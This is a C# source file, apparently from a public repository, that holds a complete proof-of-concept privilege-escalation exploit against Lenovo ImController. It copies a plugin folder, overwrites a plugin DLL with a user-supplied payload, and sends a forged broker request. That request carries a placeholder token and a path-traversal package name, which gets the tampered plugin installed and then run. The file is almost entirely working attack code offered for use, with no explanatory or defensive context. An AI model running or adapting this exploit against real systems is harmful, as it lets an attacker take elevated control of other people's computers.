Skip to content
Permalink
 
 
Cannot retrieve contributors at this time
using Lenovo.Modern.ImController.ImClient.Models;
using Lenovo.Modern.ImController.ImClient.Services;
using Lenovo.Modern.ImController.ImClient.Services.Umdf;
using Lenovo.Modern.ImController.PluginManager.Services;
using Lenovo.Modern.ImController.Shared.Services;
using Lenovo.Modern.Utilities.Patterns.Ioc;
using Lenovo.Modern.Utilities.Services;
using Microsoft.Win32;
using System;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using System.Xml;
using System.Xml.Serialization;
namespace Playground {
class LenovoExploit {
//Replace with your own Uber exploit DLL
const string exploitDLL = "";
DeviceDriverAgent _deviceAgent;
private string Serialize<T>(T instance) {
string result = null;
using (StringWriter stringWriter = new StringWriter()) {
XmlSerializer xmlSerializer = new XmlSerializer(typeof(T));
using (XmlWriter xmlWriter = XmlWriter.Create(stringWriter)) {
xmlSerializer.Serialize(xmlWriter, instance);
}
result = stringWriter.ToString();
}
return result;
}
private void CopyFolder(string sourceFolder, string destFolder) {
if (!Directory.Exists(destFolder))
Directory.CreateDirectory(destFolder);
string[] files = Directory.GetFiles(sourceFolder);
foreach (string file in files) {
string name = Path.GetFileName(file);
string dest = Path.Combine(destFolder, name);
File.Copy(file, dest, true);
}
string[] folders = Directory.GetDirectories(sourceFolder);
foreach (string folder in folders) {
string name = Path.GetFileName(folder);
string dest = Path.Combine(destFolder, name);
CopyFolder(folder, dest);
}
}
private void PrepareFolders() {
CopyFolder(@"C:\ProgramData\Lenovo\ImController\Plugins\LenovoAppScenarioPluginSystem", @"C:\ProgramData\Lenovo\LenovoAppScenarioPluginSystem_");
byte[] data = System.Convert.FromBase64String(exploitDLL);
using (BinaryWriter writer = new BinaryWriter(File.Open(@"C:\ProgramData\Lenovo\LenovoAppScenarioPluginSystem_\x64\TouchScreenContronlDLL.dll", FileMode.Truncate, FileAccess.ReadWrite))) {
writer.Write(data);
}
}
private async Task<BrokerResponse> GetResponseAsync(Guid taskId, Func<BrokerResponseTask, bool> responseReceivedHandler, CancellationToken cancelToken) {
BrokerResponse brokerResponse = null;
if (taskId == Guid.Empty) {
throw new ArgumentException(string.Format("Invalid task ID provided: {0}", taskId));
}
Tuple<Guid, string> tuple = await _deviceAgent.WaitForResponseAsync(taskId, cancelToken);
if (tuple == null && cancelToken.IsCancellationRequested) {
throw new BrokerRequestAgentException(string.Format("CancelToken is canceled while waiting for response for task {0}: response pair is null", taskId)) {
ResponseCode = 408
};
}
if (tuple == null) {
throw new BrokerRequestAgentException(string.Format("Invalid/Empty Broker Response provided for task {0}: response pair is null", taskId)) {
ResponseCode = 408
};
}
if (string.IsNullOrWhiteSpace(tuple.Item2)) {
throw new BrokerRequestAgentException(string.Format("Invalid/Empty Broker Response XML provided for task {0}", taskId)) {
ResponseCode = 408
};
}
try {
brokerResponse = Serializer.Deserialize<BrokerResponse>(tuple.Item2);
} catch (Exception) {
Console.WriteLine("GetFinalContractResponseAsync exception on response deserialization. responsePair.Item2 = " + tuple.Item2.Length);
}
if (brokerResponse == null || brokerResponse.Task == null) {
throw new BrokerRequestAgentException("Invalid broker response data") {
ResponseCode = 409
};
}
return brokerResponse;
}
private async Task<BrokerResponse> GetFinalContractResponseAsync(Guid taskId, Func<BrokerResponseTask, bool> responseReceivedHandler, CancellationToken cancelToken) {
BrokerResponse brokerResponse = null;
bool final = false;
while (!final) {
BrokerResponse brokerResponse2 = await GetResponseAsync(taskId, responseReceivedHandler, cancelToken);
brokerResponse = brokerResponse2;
bool flag = false;
if (brokerResponse.Error != null && brokerResponse.Error.ResultCode != 0) {
flag = false;
}
if (!flag || brokerResponse.Task.IsComplete) {
final = true;
}
}
await _deviceAgent.CloseTaskAsync(taskId);
return brokerResponse;
}
private async Task<BrokerResponse> sendBrokerRequest(BrokerRequest brokerRequest) {
string command = Serialize<BrokerRequest>(brokerRequest);
Guid guid = await _deviceAgent.PutRequestAsync(command);
BrokerResponse br = await GetFinalContractResponseAsync(guid, (func) => {
return true;
}, CancellationToken.None);
return br;
}
public async void Exploit() {
Console.WriteLine("[+] Preparing exploitable plugin package");
PrepareFolders();
Console.WriteLine("[+] Setting up requred BrokerResponseAgent");
InstanceContainer instance = InstanceContainer.GetInstance();
instance.RegisterInstance<IBrokerResponseAgent>(BrokerResponseAgent.GetInstance());
instance.RegisterInstance<IPluginManager>(PluginManager.GetInstance());
Console.WriteLine("[+] Setting up UDMF driver agent");
_deviceAgent = DeviceDriverAgent.GetInstance();
if(_deviceAgent == null) {
Console.WriteLine("[!] Failed to get instance of UDMF driver agent, is this a Lenovo machine with ImController installed?");
return;
}
BrokerRequest breq = new BrokerRequest();
breq.Version = "1";
breq.Authentication = new BrokerAuthentication();
breq.Authentication.Token = "pwned";
breq.BrokerRequirements = new BrokerRequirements();
breq.BrokerRequirements.MinVersion = "1";
string contractRequestParameter = @"
<InstallPendingRequest>
<PackageList>
<Package name=""..\..\..\LenovoAppScenarioPluginSystem""/>
</PackageList>
</InstallPendingRequest>";
breq.ContractRequest = new ContractRequest {
Command = new ContractCommandRequest {
Name = "Install-PendingUpdates",
Parameter = contractRequestParameter,
RequestType = "sync"
},
Name = "ImController"
};
Console.WriteLine("[+] Sending Install-PendingUpdates BrokerRequest");
BrokerResponse br = await sendBrokerRequest(breq);
if(br.Result != "Success") {
Console.WriteLine("[!] Request for Install-PendingUpdates failed");
return;
}
Console.WriteLine("[-] Waiting for plugin to install, this can take a few minutes");
Thread.Sleep(5000);
while (Directory.Exists(@"C:\ProgramData\Lenovo\ImController\Plugins\LenovoAppScenarioPluginSystem_")) {
Thread.Sleep(1000);
}
Thread.Sleep(1000);
Console.WriteLine("[+] Package delivered!");
Console.WriteLine("[+] Making plugin request to trigger exploit");
breq.ContractRequest = new ContractRequest {
Command = new ContractCommandRequest {
Name = "Get-TouchScreenState",
Parameter = null,
RequestType = "sync"
},
Name = "SystemManagement.AppScenario.System"
};
br = await sendBrokerRequest(breq);
Console.WriteLine("[+] Enjoy");
}
}
}